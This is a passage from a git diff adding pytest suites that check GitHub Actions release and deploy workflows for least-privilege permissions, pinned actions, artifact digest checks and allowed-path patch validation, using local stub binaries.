"gradle.properties").write_text("pluginVersion=1.2.2\nother=keep\n") + result, _ = run_workflow_step( + _WORKFLOW, + "build", + "๐Ÿท๏ธ Set plugin version", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"PLUGIN_VERSION": "v1.2.3"}, + ) + assert result.returncode == 0, result.stderr + assert (tmp_path / "gradle.properties").read_text() == "pluginVersion=1.2.3\nother=keep\n" + + +def test_plugin_version_rejects_sed_metacharacters(tmp_path: Path) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\n") + result, _ = run_workflow_step( + _WORKFLOW, + "build", + "๐Ÿท๏ธ Set plugin version", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"PLUGIN_VERSION": "1&2"}, + ) + assert result.returncode != 0 + + +def test_verify_matrix_default_checks_python_only(workflow: JsonObject) -> None: + assert json.loads(text(at(workflow, "on", "workflow_call", "inputs", "verify-matrix", "default"))) == [ + {"label": "PY", "ide": "PY", "version": ""} + ] + + +def test_ui_timeout_default_is_300_seconds(workflow: JsonObject) -> None: + assert at(workflow, "on", "workflow_call", "inputs", "ui-test-timeout", "default") == "300" + + +def test_ui_timeout_input_reaches_the_ui_test_step() -> None: + assert workflow_step(_WORKFLOW, "ui-test", "๐Ÿงช Run UI tests")["env"] == { + "UI_TEST_TIMEOUT": "${{ inputs.ui-test-timeout }}" + } + + +def test_ui_test_failure_uploads_reports() -> None: + upload = workflow_step(_WORKFLOW, "ui-test", "๐Ÿ“ค Upload UI test artifacts") + assert upload["if"] == "${{ failure() }}" + assert "build/idea-sandbox/**/log/idea.log" in text(mapping(upload["with"])["path"]) + + +@pytest.mark.parametrize( + ("job", "permissions"), + [ + pytest.param("build", {"contents": "read"}, id="build"), + pytest.param("verify", {"contents": "read"}, id="verify"), + pytest.param("ui-test", {"contents": "read"}, id="ui-test"), + pytest.param("gate", {}, id="gate"), + ], +) +def test_job_holds_only_the_permissions_it_needs(workflow: JsonObject, job: str, permissions: JsonObject) -> None: + assert at(workflow, "jobs", job, "permissions") == permissions + + +def test_workflow_grants_no_top_level_permissions(workflow: JsonObject) -> None: + assert workflow["permissions"] == {} + + +@pytest.mark.parametrize("output", ["archive-sha256", "archive-name", "artifact-id"]) +def test_workflow_output_comes_from_build_job(workflow: JsonObject, output: str) -> None: + assert at(workflow, "on", "workflow_call", "outputs", output, "value") == f"${{{{ jobs.build.outputs.{output} }}}}" + + +def test_verify_step_passes_matrix_entries_through_env() -> None: + assert workflow_step(_WORKFLOW, "verify", "๐Ÿ” Run verification")["env"] == { + "IDE": "${{ matrix.ide }}", + "VERSION": "${{ matrix.version }}", + } + + +def test_gate_needs_build_verify_and_ui_test(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "gate", "needs") == _GATE_NEEDS + + +def test_gate_delegates_to_required_checks() -> None: + assert workflow_step(_WORKFLOW, "gate", "๐Ÿšฆ Require all needed jobs to pass") == { + "name": "๐Ÿšฆ Require all needed jobs to pass", + "uses": "$/required-checks", + "with": {"needs": "${{ toJSON(needs) }}"}, + } + + +@pytest.mark.parametrize( + ("results", "accepted"), + [ + pytest.param(("success", "success", "success"), True, id="all-succeeded"), + pytest.param(("success", "success", "skipped"), False, id="skipped-job"), + pytest.param(("failure", "success", "success"), False, id="failed-job"), + ], +) +def test_gate_requires_every_job_to_succeed( + tmp_path: Path, + action_scripts: Path, + results: tuple[str, str, str], + accepted: bool, +) -> None: + needs = {name: {"result": result} for name, result in zip(_GATE_NEEDS, results, strict=True)} + result = action(tmp_path, tmp_path, action_scripts, "required-checks", version="", NEEDS=json.dumps(needs)) + assert (result.returncode == 0) is accepted, result.stderr + + +@pytest.mark.parametrize( + "forbidden", + [ + pytest.param("${{", id="expressions"), + pytest.param("|| true", id="masked-failures"), + ], +) +def test_run_blocks_avoid_forbidden_constructs(workflow: JsonObject, forbidden: str) -> None: + offenders = [ + item.get("name") + for job in mapping(at(workflow, "jobs")) + for item in steps(workflow, job) + if forbidden in text(item.get("run", "")) + ] + assert offenders == [] diff --git a/tests/latex_to_pages/test_latex.py b/tests/latex_to_pages/test_latex.py new file mode 100644 index 0000000..1b700ae --- /dev/null +++ b/tests/latex_to_pages/test_latex.py @@ -0,0 +1,177 @@ +import hashlib +import os +import subprocess +from pathlib import Path +from typing import Final + +import pytest +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, run_workflow_step, step, steps, text + +_WORKFLOW: Final[str] = "latex-to-pages.yaml" + + +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / _WORKFLOW) + + +@pytest.fixture +def stubs(tmp_path: Path) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + for name, body in ( + ( + "gh", + """\ +#!/usr/bin/env bash +case "$*" in +*pages/builds*) echo "abc built" ;; +*) echo abc ;; +esac +""", + ), + ("curl", '#!/usr/bin/env bash\ncat "$SERVED_FILE"\n'), + ("sleep", "#!/usr/bin/env bash\nexit 0\n"), + ): + script = bin_dir / name + script.write_text(body) + script.chmod(0o755) + return bin_dir + + +def test_workflow_grants_no_top_level_permissions(workflow: JsonObject) -> None: + assert workflow["permissions"] == {} + + +@pytest.mark.parametrize( + ("job", "permissions"), + [ + pytest.param("build", {"contents": "read"}, id="build"), + pytest.param("deploy", {"contents": "write", "pages": "read"}, id="deploy"), + ], +) +def test_job_holds_only_its_scope(workflow: JsonObject, job: str, permissions: JsonObject) -> None: + assert at(workflow, "jobs", job, "permissions") == permissions + + +@pytest.mark.parametrize( + ("job", "minutes"), + [ + pytest.param("build", "20", id="build"), + pytest.param("deploy", "30", id="deploy"), + ], +) +def test_job_bounds_its_runtime(workflow: JsonObject, job: str, minutes: str) -> None: + assert at(workflow, "jobs", job, "timeout-minutes") == minutes + + +def test_compile_step_pins_source_date_epoch(workflow: JsonObject) -> None: + compile_step = mapping(step(workflow, "build", "๐Ÿ“• Compile LaTeX document")["with"]) + assert "SOURCE_DATE_EPOCH=${{ steps.epoch.outputs.epoch }}" in text(compile_step["pre_compile"]) + + +def test_checkouts_keep_credentials_out_of_the_workspace(workflow: JsonObject) -> None: + checkouts = [ + item + for job in mapping(at(workflow, "jobs")) + for item in steps(workflow, job) + if text(item.get("uses", "")).startswith("actions/checkout@") + ] + assert [item["with"] for item in checkouts] == [{"persist-credentials": "false"}, {"persist-credentials": "false"}] + + +@pytest.mark.parametrize( + ("root_file", "path", "name"), + [ + pytest.param("main.tex", "main.pdf", "main.pdf", id="root"), + pytest.param("doc/cv.tex", "doc/cv.pdf", "cv.pdf", id="nested"), + ], +) +def test_records_pdf_path_name_and_digest(tmp_path: Path, root_file: str, path: str, name: str) -> None: + (tmp_path / path).parent.mkdir(parents=True, exist_ok=True) + (tmp_path / path).write_bytes(b"pdf bytes") + result, outputs = run_workflow_step( + _WORKFLOW, + "build", + "๐Ÿ”Ž Record PDF name and digest", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"ROOT_FILE": root_file}, + ) + assert result.returncode == 0, result.stderr + assert outputs == {"path": path, "name": name, "sha256": hashlib.sha256(b"pdf bytes").hexdigest()} + + +def test_missing_pdf_fails_the_build(tmp_path: Path) -> None: + result, _ = run_workflow_step( + _WORKFLOW, + "build", + "๐Ÿ”Ž Record PDF name and digest", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"ROOT_FILE": "main.tex"}, + ) + assert result.returncode != 0 + + +@pytest.mark.parametrize( + ("content", "accepted"), + [ + pytest.param(b"pdf bytes", True, id="matches-build"), + pytest.param(b"tampered", False, id="tampered-download"), + ], +) +def test_deploy_rejects_a_download_that_differs_from_the_build( + tmp_path: Path, + content: bytes, + accepted: bool, +) -> None: + (tmp_path / "built").mkdir() + (tmp_path / "built/main.pdf").write_bytes(content) + result, _ = run_workflow_step( + _WORKFLOW, + "deploy", + "๐Ÿ” Check downloaded PDF digest", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"PDF_NAME": "main.pdf", "PDF_SHA256": hashlib.sha256(b"pdf bytes").hexdigest()}, + ) + assert (result.returncode == 0) is accepted, result.stderr + + +def test_verify_loop_accepts_the_served_bytes_it_built(tmp_path: Path, stubs: Path) -> None: + result = _verify(tmp_path, stubs, b"built pdf", hashlib.sha256(b"built pdf").hexdigest()) + assert result.returncode == 0, result.stderr + assert "Pages serves the freshly built PDF" in result.stdout + + +def _verify(tmp_path: Path, stubs: Path, served: bytes, expected: str) -> subprocess.CompletedProcess[str]: + served_file = tmp_path / "served.pdf" + served_file.write_bytes(served) + result, _ = run_workflow_step( + _WORKFLOW, + "deploy", + "๐Ÿ” Verify published PDF", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={ + "GH_TOKEN": "token", + "GITHUB_REPOSITORY": "owner/repo", + "GITHUB_RUN_ID": "1", + "URL": "https://owner.github.io/repo/main.pdf", + "PDF_SHA256": expected, + "SERVED_FILE": str(served_file), + "PATH": f"{stubs}:{os.environ['PATH']}", + }, + ) + return result + + +def test_verify_loop_fails_when_pages_keeps_serving_other_bytes(tmp_path: Path, stubs: Path) -> None: + result = _verify(tmp_path, stubs, b"stale pdf", hashlib.sha256(b"built pdf").hexdigest()) + assert result.returncode != 0 + assert "::error::" in result.stderr diff --git a/tests/open_maintenance_pr/test_open.py b/tests/open_maintenance_pr/test_open.py new file mode 100644 index 0000000..f241f1c --- /dev/null +++ b/tests/open_maintenance_pr/test_open.py @@ -0,0 +1,297 @@ +import hashlib +import json +import os +import stat +from pathlib import Path +from typing import TYPE_CHECKING, Final + +import pytest +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, run, run_workflow_step, steps, text + +if TYPE_CHECKING: + import subprocess + from collections.abc import Mapping + +_WORKFLOW: Final[str] = "open-maintenance-pr.yaml" +_CHECK: Final[str] = "๐Ÿ” Check patch paths and modes" +_ALLOWED: Final[str] = "pylock.toml\npyproject.toml\ndiagrams/*.svg\n" + + +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / _WORKFLOW) + + +@pytest.fixture +def repository(tmp_path: Path) -> Path: + repo = tmp_path / "repository" + repo.mkdir() + run(repo, "git", "init", "-b", "main") + run(repo, "git", "config", "user.name", "Release test") + run(repo, "git", "config", "user.email", "release@example.org") + (repo / "pylock.toml").write_text("lock-version = '1.0'\n") + (repo / "pyproject.toml").write_text('[project]\nname = "example"\n') + (repo / "docs").mkdir() + (repo / "docs/readme.md").write_text("Docs.\n") + (repo / "diagrams").mkdir() + (repo / "diagrams/a.svg").write_text("\n") + (repo / "diagrams/a.txt").write_text("text\n") + (repo / "pylockXtoml").write_text("not the lock\n") + run(repo, "git", "add", ".") + run(repo, "git", "commit", "-m", "Initial files") + return repo + + +@pytest.mark.parametrize( + ("change", "mode", "accepted"), + [ + pytest.param({"pylock.toml": "changed\n"}, None, True, id="modify-allowed"), + pytest.param({"diagrams/new.svg": "\n"}, None, True, id="add-glob-match"), + pytest.param({"pyproject.toml": None}, None, True, id="delete-allowed"), + pytest.param({"docs/readme.md": "changed\n"}, None, False, id="modify-disallowed"), + pytest.param({"diagrams/a.txt": "changed\n"}, None, False, id="glob-misses-other-suffix"), + pytest.param({"pylock.toml": "x\n"}, 0o755, False, id="executable-mode"), + pytest.param({"pylockXtoml": "changed\n"}, None, False, id="dot-is-literal"), + ], +) +def test_check_accepts_only_allowed_regular_changes( + repository: Path, tmp_path: Path, change: dict[str, str | None], mode: int | None, accepted: bool +) -> None: + make_patch(repository, tmp_path, change, mode=mode) + result = check_patch(repository, tmp_path) + assert (result.returncode == 0) is accepted, result.stderr + + +def make_patch(repo: Path, tmp_path: Path, change: Mapping[str, str | None], *, mode: int | None = None) -> Path: + for path, content in change.items(): + target = repo / path + if content is None: + target.unlink() + continue + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(content) + if mode is not None: + target.chmod(mode) + return stage_patch(repo, tmp_path) + + +def stage_patch(repo: Path, tmp_path: Path) -> Path: + run(repo, "git", "add", "-A") + patch = tmp_path / "maintenance-patch" / "maintenance.patch" + patch.parent.mkdir(exist_ok=True) + patch.write_text(run(repo, "git", "diff", "--cached", "--binary", "--no-renames").stdout) + run(repo, "git", "reset", "-q", "--hard", "HEAD") + run(repo, "git", "clean", "-fdq") + return patch + + +def check_patch(repo: Path, tmp_path: Path, allowed: str = _ALLOWED) -> subprocess.CompletedProcess[str]: + for name in ("โš™๏ธ Apply maintenance patch to a scratch index", _CHECK): + result, _ = run_workflow_step( + _WORKFLOW, "validate", name, cwd=repo, runner_temp=tmp_path, values=values(tmp_path, allowed), env={} + ) + if result.returncode: + return result + return result + + +def values(tmp_path: Path, allowed: str = _ALLOWED, **extra: str) -> dict[str, str]: + return { + "inputs.allowed-paths": allowed, + "inputs.artifact-id": "1", + "inputs.base": "main", + "inputs.body": "Body.", + "inputs.branch": "automation/maintenance", + "inputs.labels": "", + "inputs.title": "Maintain things", + "needs.validate.outputs.patch-sha256": "", + "runner.temp": str(tmp_path), + "steps.token.outputs.token": "token", + } | extra + + +def test_check_reports_a_disallowed_change_as_an_error(repository: Path, tmp_path: Path) -> None: + make_patch(repository, tmp_path, {"docs/readme.md": "changed\n"}) + result = check_patch(repository, tmp_path) + assert "::error::" in result.stderr + + +def test_check_rejects_symlink_replacing_a_regular_file(repository: Path, tmp_path: Path) -> None: + (repository / "pylock.toml").unlink() + (repository / "pylock.toml").symlink_to("pyproject.toml") + stage_patch(repository, tmp_path) + result = check_patch(repository, tmp_path) + assert result.returncode != 0 + assert "unexpected maintenance path status T for pylock.toml" in result.stderr + + +def test_check_rejects_empty_patch(repository: Path, tmp_path: Path) -> None: + patch = tmp_path / "maintenance-patch" / "maintenance.patch" + patch.parent.mkdir() + patch.write_text("") + result = check_patch(repository, tmp_path) + assert result.returncode != 0 + + +def test_check_rejects_empty_allowed_paths(repository: Path, tmp_path: Path) -> None: + make_patch(repository, tmp_path, {"pylock.toml": "x\n"}) + result = check_patch(repository, tmp_path, allowed="\n") + assert result.returncode != 0 + assert "allowed-paths lists no pattern" in result.stderr + + +def test_writer_trusts_the_validated_digest(workflow: JsonObject) -> None: + assert _CHECK not in [item.get("name") for item in steps(workflow, "open")] + + +def test_digest_step_records_sha256(repository: Path, tmp_path: Path) -> None: + patch = make_patch(repository, tmp_path, {"pylock.toml": "x\n"}) + result, outputs = run_workflow_step( + _WORKFLOW, + "validate", + "โš™๏ธ Record the validated patch digest", + cwd=repository, + runner_temp=tmp_path, + values=values(tmp_path), + env={}, + ) + assert result.returncode == 0, result.stderr + assert outputs == {"sha256": hashlib.sha256(patch.read_bytes()).hexdigest()} + + +def test_writer_rejects_patch_that_differs_from_validated_digest(repository: Path, tmp_path: Path) -> None: + make_patch(repository, tmp_path, {"pylock.toml": "x\n"}) + result, _ = run_workflow_step( + _WORKFLOW, + "open", + "๐Ÿ” Verify the validated patch digest", + cwd=repository, + runner_temp=tmp_path, + values=values(tmp_path, **{"needs.validate.outputs.patch-sha256": "0" * 64}), + env={}, + ) + assert result.returncode != 0 + + +def test_existing_pull_request_is_updated(repository: Path, tmp_path: Path) -> None: + result, outputs, calls = open_pull_request( + repository, tmp_path, [pull(17, repo="attacker/fork"), pull(18)], "skip news\n\ndependencies\n" + ) + assert result.returncode == 0, result.stderr + assert outputs == {"number": "18"} + body = str(tmp_path / "pull-request.md") + assert calls == [ + ( + f"pr\tedit\t18\t--title\tMaintain things\t--body-file\t{body}" + "\t--add-label\tskip news\t--add-label\tdependencies" + ) + ] + + +def pull(number: int, *, branch: str = "automation/maintenance", repo: str = "tox-dev/fixture") -> JsonObject: + return {"number": number, "head": {"repo": {"full_name": repo}, "ref": branch}, "base": {"ref": "main"}} + + +def open_pull_request( + repository: Path, tmp_path: Path, pulls: list[JsonObject], labels: str +) -> tuple[subprocess.CompletedProcess[str], dict[str, str], list[str]]: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + log = fake_gh(bin_dir) + pulls_file = tmp_path / "pulls.json" + pulls_file.write_text(json.dumps(pulls)) + (tmp_path / "pull-request.md").write_text("Body.\n") + result, outputs = run_workflow_step( + _WORKFLOW, + "open", + "๐Ÿ”€ Write maintenance pull request", + cwd=repository, + runner_temp=tmp_path, + values=values(tmp_path, **{"inputs.labels": labels}), + env={ + "PATH": f"{bin_dir}{os.pathsep}{os.environ['PATH']}", + "GH_LOG": str(log), + "FAKE_PULLS": str(pulls_file), + }, + ) + calls = [line for line in log.read_text().splitlines() if line.startswith("pr\t")] if log.exists() else [] + return result, outputs, calls + + +def fake_gh(bin_dir: Path) -> Path: + script = bin_dir / "gh" + script.write_text( + "#!/usr/bin/env bash\n" + '(IFS=$\'\\t\'; echo "$*") >>"$GH_LOG"\n' + 'case "$1" in\n' + 'api) cat "$FAKE_PULLS" ;;\n' + 'pr) if [[ "$2" == create ]]; then echo https://github.com/tox-dev/fixture/pull/21; fi ;;\n' + "esac\n" + ) + script.chmod(script.stat().st_mode | stat.S_IXUSR) + return bin_dir / "gh.log" + + +def test_missing_pull_request_is_opened(repository: Path, tmp_path: Path) -> None: + result, outputs, calls = open_pull_request(repository, tmp_path, [], "skip news\n") + assert result.returncode == 0, result.stderr + assert outputs == {"number": "21"} + body = str(tmp_path / "pull-request.md") + assert calls == [ + ( + f"pr\tcreate\t--base\tmain\t--head\tautomation/maintenance\t--title\tMaintain things" + f"\t--body-file\t{body}\t--label\tskip news" + ) + ] + + +def test_multiple_open_pull_requests_fail(repository: Path, tmp_path: Path) -> None: + result, _, calls = open_pull_request(repository, tmp_path, [pull(18), pull(19)], "") + assert result.returncode != 0 + assert "multiple maintenance pull requests" in result.stderr + assert calls == [] + + +def test_only_the_writer_holds_the_app_token(workflow: JsonObject) -> None: + assert { + name + for name in mapping(at(workflow, "jobs")) + for item in steps(workflow, name) + if text(item.get("uses", "")).startswith("actions/create-github-app-token@") + } == {"open"} + + +def test_validate_job_is_read_only(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "validate", "permissions") == {"contents": "read"} + + +@pytest.mark.parametrize( + ("key", "expected"), + [ + pytest.param("environment", "release-auth", id="environment"), + pytest.param("needs", "validate", id="needs"), + pytest.param("if", "needs.validate.result == 'success'", id="if"), + ], +) +def test_open_job_is_gated_on_a_clean_validation(workflow: JsonObject, key: str, expected: str) -> None: + assert at(workflow, "jobs", "open", key) == expected + + +def test_app_token_is_minted_after_the_digest_is_verified(workflow: JsonObject) -> None: + names = [item.get("name") for item in steps(workflow, "open")] + assert names.index("๐Ÿ”‘ Create release App token") > names.index("๐Ÿ” Verify the validated patch digest") + assert names.index("๐Ÿ”’ Apply maintenance patch") > names.index("๐Ÿ” Verify the validated patch digest") + + +def test_body_step_writes_the_requested_pull_request_body(repository: Path, tmp_path: Path) -> None: + result, _ = run_workflow_step( + _WORKFLOW, + "open", + "๐Ÿ“ Write maintenance pull request body", + cwd=repository, + runner_temp=tmp_path, + values=values(tmp_path, **{"inputs.body": "Refresh release tools."}), + env={}, + ) + assert result.returncode == 0, result.stderr + assert (tmp_path / "pull-request.md").read_text() == "Refresh release tools.\n" diff --git a/tests/prepare_jetbrains_post_release/test_post_release.py b/tests/prepare_jetbrains_post_release/test_post_release.py new file mode 100644 index 0000000..6fbdd23 --- /dev/null +++ b/tests/prepare_jetbrains_post_release/test_post_release.py @@ -0,0 +1,103 @@ +import os +import subprocess +from pathlib import Path + +import pytest +from conftest import action, run + + +@pytest.fixture +def gh_stub(tmp_path: Path) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + script = bin_dir / "gh" + script.write_text("#!/usr/bin/env bash\necho 42\n") + script.chmod(0o755) + return bin_dir + + +@pytest.fixture +def plugin_repository(repository: Path) -> Path: + (repository / "gradle.properties").write_text("pluginVersion=1.2.3\nkeep=yes\n") + run(repository, "git", "add", "gradle.properties") + run(repository, "git", "commit", "-m", "Add plugin version") + return repository + + +def test_commits_next_patch_version_and_writes_manifest( + action_scripts: Path, + plugin_repository: Path, + tmp_path: Path, + gh_stub: Path, +) -> None: + base = run(plugin_repository, "git", "rev-parse", "HEAD").stdout.strip() + result, outputs = _prepare(plugin_repository, tmp_path, action_scripts, gh_stub, "v1.2.3") + assert result.returncode == 0, result.stderr + candidate = run(plugin_repository, "git", "rev-parse", "HEAD").stdout.strip() + assert outputs == { + "base-commit": base, + "candidate-commit": candidate, + "branch": "post-release-v1.2.3", + "next-version": "1.2.4-dev", + } + assert (plugin_repository / "gradle.properties").read_text() == "pluginVersion=1.2.4-dev\nkeep=yes\n" + blob = run(plugin_repository, "git", "rev-parse", "HEAD:gradle.properties").stdout.strip() + post_release = tmp_path / "post-release" + assert (post_release / "paths.tsv").read_text() == f"gradle.properties\t{blob}\n" + assert (post_release / "body.md").read_text() == "Set the next development version after v1.2.3.\n" + assert (post_release / "candidate.bundle").is_file() + assert run(plugin_repository, "git", "log", "-1", "--format=%an <%ae>%n%s").stdout.splitlines() == [ + "tox-dev-plugin-release[bot] <42+tox-dev-plugin-release[bot]@users.noreply.github.com>", + "Bump version to 1.2.4-dev after v1.2.3", + ] + + +def _prepare( + repository: Path, + tmp_path: Path, + action_scripts: Path, + gh_stub: Path, + tag: str, +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + outputs: dict[str, str] = {} + result = action( + repository, + tmp_path, + action_scripts, + "prepare-jetbrains-post-release", + outputs, + version=tag, + TAG=tag, + APP_SLUG="tox-dev-plugin-release", + GITHUB_TOKEN="token", + OUTPUT_DIR=str(tmp_path / "post-release"), + PATH=f"{gh_stub}:{os.environ['PATH']}", + ) + return result, outputs + + +def test_leaves_candidate_empty_when_version_already_matches( + action_scripts: Path, + plugin_repository: Path, + tmp_path: Path, + gh_stub: Path, +) -> None: + (plugin_repository / "gradle.properties").write_text("pluginVersion=1.2.4-dev\n") + run(plugin_repository, "git", "commit", "-am", "Already bumped") + result, outputs = _prepare(plugin_repository, tmp_path, action_scripts, gh_stub, "v1.2.3") + assert result.returncode == 0, result.stderr + assert outputs["candidate-commit"] == "" + assert not (tmp_path / "post-release/candidate.bundle").exists() + + +@pytest.mark.parametrize("tag", ["v1.2.3-beta.1", "1.2", "v1.2.3.4"]) +def test_rejects_tags_without_plain_patch_version( + action_scripts: Path, + plugin_repository: Path, + tmp_path: Path, + gh_stub: Path, + tag: str, +) -> None: + result, outputs = _prepare(plugin_repository, tmp_path, action_scripts, gh_stub, tag) + assert result.returncode != 0 + assert outputs == {} diff --git a/tests/prepare_release_creator/test_release_creator.py b/tests/prepare_release_creator/test_release_creator.py new file mode 100644 index 0000000..d14989b --- /dev/null +++ b/tests/prepare_release_creator/test_release_creator.py @@ -0,0 +1,187 @@ +import os +import subprocess +import sys +from pathlib import Path + +import pytest +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, step, steps, text + + +@pytest.fixture(scope="module") +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / "prepare-release-creator.yaml") + + +def test_assemble_holds_no_write_token(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "assemble", "permissions") == {"contents": "read", "pull-requests": "read"} + assert at(workflow, "jobs", "push", "permissions") == {"contents": "read"} + + +def test_push_validates_before_minting_the_token(workflow: JsonObject) -> None: + names = [item.get("name") for item in steps(workflow, "push")] + + assert names.index("โณ Wait for release patch") < names.index("โš™๏ธ Apply release patch") + assert names.index("โš™๏ธ Apply release patch") < names.index("๐Ÿ”‘ Create release App token") + assert names[-1] == "๐Ÿท๏ธ Commit and tag release" + + +def test_push_passes_resolved_release_paths_to_the_validator(workflow: JsonObject) -> None: + validate = next(item for item in steps(workflow, "push") if item.get("uses") == "$/validate-release-patch") + + assert validate["with"] == {"allowed-paths": "${{ needs.assemble.outputs.release-paths }}"} + + +def test_every_external_action_is_sha_pinned(workflow: JsonObject) -> None: + uses = [text(item["uses"]) for job in mapping(workflow["jobs"]) for item in steps(workflow, job) if "uses" in item] + local = {value for value in uses if value.startswith("$/")} + + assert local == { + "$/install-locked-tools", + "$/cooled-prek", + "$/validate-release-patch", + "$/commit-and-tag", + } + assert all("@" in value and len(value.rsplit("@", 1)[1]) == 40 for value in uses if value not in local) + + +def test_inputs_match_the_documented_contract(workflow: JsonObject) -> None: + inputs = mapping(at(workflow, "on", "workflow_call", "inputs")) + + assert at(inputs, "tag-format", "default") == "{version}" + assert at(inputs, "package", "default") == "" + assert at(inputs, "assemble-command", "required") == "true" + assert at(inputs, "release-paths", "required") == "true" + assert at(inputs, "cargo-set-version", "default") == "false" + assert at(inputs, "cargo-set-version-args", "default") == "" + assert at(inputs, "changelog", "default") == "CHANGELOG.md" + + +def test_cargo_tools_install_only_for_a_cargo_bump(workflow: JsonObject) -> None: + cargo = [item for item in steps(workflow, "assemble") if text(item.get("name", "")).startswith("๐Ÿฆ€")] + + assert [item["name"] for item in cargo] == ["๐Ÿฆ€ Install Rust toolchain", "๐Ÿฆ€ Install cargo-edit"] + assert all(item["if"] == "${{ inputs.cargo-set-version }}" for item in cargo) + + +def test_format_retries_once_when_mdformat_rewrites(workflow: JsonObject) -> None: + first = step(workflow, "assemble", "๐Ÿงน Format changelog") + second = step(workflow, "assemble", "๐Ÿงน Confirm changelog format") + + assert first["continue-on-error"] == "true" + assert second["if"] == "${{ steps.format.outcome == 'failure' }}" + assert at(first, "with", "args") == at(second, "with", "args") + + +def test_unscoped_version_is_bare(repository: Path, tmp_path: Path, workflow: JsonObject) -> None: + result = _run_version(repository, tmp_path, workflow) + + assert result.returncode == 0, result.stderr + assert _outputs(tmp_path / "output")["version"] == "1.1.0" + assert _outputs(tmp_path / "output")["number"] == "1.1.0" + + +def test_v_prefixed_tag_keeps_the_number_bare(repository: Path, tmp_path: Path, workflow: JsonObject) -> None: + result = _run_version(repository, tmp_path, workflow, TAG_FORMAT="v{version}") + + assert result.returncode == 0, result.stderr + assert _outputs(tmp_path / "output")["version"] == "v1.1.0" + assert _outputs(tmp_path / "output")["number"] == "1.1.0" + + +def test_scoped_tag_uses_the_package_and_its_own_history( + repository: Path, tmp_path: Path, workflow: JsonObject +) -> None: + result = _run_version( + repository, tmp_path, workflow, PACKAGE="pyproject-fmt", BUMP="patch", TAG_FORMAT="{package}/{version}" + ) + + assert result.returncode == 0, result.stderr + assert _outputs(tmp_path / "output")["version"] == "pyproject-fmt/1.0.4" + + +def test_scoped_v_tag_keeps_the_v_inside_the_package_path( + repository: Path, tmp_path: Path, workflow: JsonObject +) -> None: + result = _run_version( + repository, tmp_path, workflow, PACKAGE="pyproject-fmt", BUMP="patch", TAG_FORMAT="{package}/v{version}" + ) + + assert result.returncode == 0, result.stderr + assert _outputs(tmp_path / "output")["version"] == "pyproject-fmt/v1.0.4" + + +def test_release_paths_expand_the_package(repository: Path, tmp_path: Path, workflow: JsonObject) -> None: + result = _run_version( + repository, + tmp_path, + workflow, + PACKAGE="pyproject-fmt", + BUMP="patch", + TAG_FORMAT="{package}/{version}", + RELEASE_PATHS="CHANGELOG.md\n{package}/Cargo.toml\nchangelog.d/{package}/*", + ) + + assert result.returncode == 0, result.stderr + assert _outputs(tmp_path / "output")["release-paths"] == ( + "CHANGELOG.md\npyproject-fmt/Cargo.toml\nchangelog.d/pyproject-fmt/*" + ) + + +@pytest.mark.parametrize( + ("environment", "message"), + [ + pytest.param({"TAG_FORMAT": "release-{version}"}, "unsupported tag-format", id="unknown-format"), + pytest.param({"PACKAGE": "pyproject-fmt"}, "names no package", id="package-without-scope"), + pytest.param({"TAG_FORMAT": "{package}/{version}"}, "needs a package input", id="scope-without-package"), + ], +) +def test_bad_tag_format_stops_before_tagging( + repository: Path, tmp_path: Path, workflow: JsonObject, environment: dict[str, str], message: str +) -> None: + result = _run_version(repository, tmp_path, workflow, **environment) + + assert result.returncode != 0 + assert message in result.stderr + + +def _run_version( + repository: Path, tmp_path: Path, workflow: JsonObject, **environment: str +) -> subprocess.CompletedProcess[str]: + script = text(step(workflow, "assemble", "๐Ÿท๏ธ Select release version")["run"]) + output = tmp_path / "output" + output.touch() + values = {"BUMP": "minor", "PACKAGE": "", "TAG_FORMAT": "{version}", "CHANGELOG": "CHANGELOG.md"} | environment + return subprocess.run( + ["bash", "--noprofile", "--norc", "-e", "-o", "pipefail", "-c", script], + cwd=repository, + env={ + "PATH": f"{Path(sys.executable).parent}{os.pathsep}{os.environ['PATH']}", + "GITHUB_OUTPUT": str(output), + "RELEASE_PATHS": "CHANGELOG.md", + } + | values, + text=True, + capture_output=True, + check=False, + ) + + +def _outputs(path: Path) -> dict[str, str]: + scalars, _, paths = path.read_text().partition("release-paths< Path: + root = tmp_path / "repository" + root.mkdir() + git = ["git", "-c", "user.name=t", "-c", "user.email=t@example.org"] + subprocess.run([*git, "init", "-q", "-b", "main", str(root)], check=True) + (root / "CHANGELOG.md").write_text("# Changelog\n") + subprocess.run([*git, "-C", str(root), "add", "."], check=True) + subprocess.run([*git, "-C", str(root), "commit", "-qm", "init"], check=True) + for tag in ("1.0.0", "pyproject-fmt/1.0.0", "pyproject-fmt/1.0.3"): + subprocess.run([*git, "-C", str(root), "tag", tag], check=True) + return root diff --git a/tests/publish_pre_commit_mirror/test_mirror.py b/tests/publish_pre_commit_mirror/test_mirror.py new file mode 100644 index 0000000..8a4f54b --- /dev/null +++ b/tests/publish_pre_commit_mirror/test_mirror.py @@ -0,0 +1,384 @@ +import dataclasses +import os +import subprocess +from pathlib import Path +from typing import Final + +import pytest +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, run, run_workflow_step, step, steps, text +from pytest import ParameterSet + +_WORKFLOW: Final[str] = "publish-pre-commit-mirror.yaml" +_VALUES: Final[dict[str, str]] = { + "github.token": "token", + "inputs.package-name": "pyproject-fmt", + "inputs.files-regex": r"(^|/)pyproject\.toml$", + "inputs.exclude-newer": "7 days", + 